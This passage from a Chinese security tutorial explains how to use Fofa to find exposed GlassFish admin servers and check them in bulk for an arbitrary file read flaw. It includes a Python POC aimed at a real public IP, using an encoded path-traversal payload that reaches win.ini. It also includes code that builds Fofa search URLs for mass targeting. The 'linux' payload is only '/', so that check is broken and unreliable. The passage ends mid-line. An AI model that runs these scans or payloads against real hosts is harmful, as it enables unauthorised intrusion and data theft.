1.概述:
涉及技术 :Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明。
目的: 掌握和利用公开或者 0day漏洞进行批量化的收集和验证脚本开发。
2.某漏洞 POC 验证脚本:
requests库使用参考:https://docs.python-requests.org/en/latest/
首先拿一个简单的例子:验证是否存在 glassfish 任意文件读取漏洞。
过程:验证存在 glassfish 的应用是否存在任意文件读取漏洞 :两个 poc,分别对应 linux 和 windows 的。首先fofa关键字(“glassfish” && port=“4848”&&after=“2020-01-01”)搜索可能存在漏洞的网址,记下url,然后编写python脚本发起 get 请求,根据请求的响应状态码来判断是否存在漏洞:
import requests
url='http://186.202.17.69:4848/'
payload_linux='/'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
#data_linux=requests.get(url+payload_linux) #获取请求后的返回源代码
#data_windows=requests.get(url+payload_windows) #获取请求后的返回源代码
data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回状态码
data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回状态码
if data_linux==200 or data_windows==200:
print("yes")
else:
print("no")
#print(data_linux.content.decode('utf-8'))
#print(data_windows.content.decode('utf-8'))
原理很简单,就是发起一次http请求,不存在该文件就会返回404状态码。
3.Fofa搜索结果提取采集与漏洞批量验证脚本:
上述只是针对单个目标的验证,那么如何批量提取fofa搜索到的结果、批量发起请求验证该漏洞呢?
首先是如何批量提取搜索结果:可以借助lxml库来提取fofa的结果(也可以正则表达式,没学过爬虫,不知道其他办法…),了解fofa的url搜索规则,对url进行base64处理、页数和条数显示:
#由于fofa最近被整改,修改了域名,而且目前仅限会员使用,无法完全适用了,但思路也可以用到其他搜索引擎上
#本来fofa也有接口可以直接调用查询的,这样写脚本适配url规则及写入cookie反而麻烦了,整改后不知道现在接口还能不能用。
import base64
import requests
search_data='"glassfish" && port="4848"'
url='https://fofa.info/result?&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls=url+search_data_bs
print(urls)
得到的信息筛选出需要的,此时需要使用lxml库:
soup=etree.tostring(result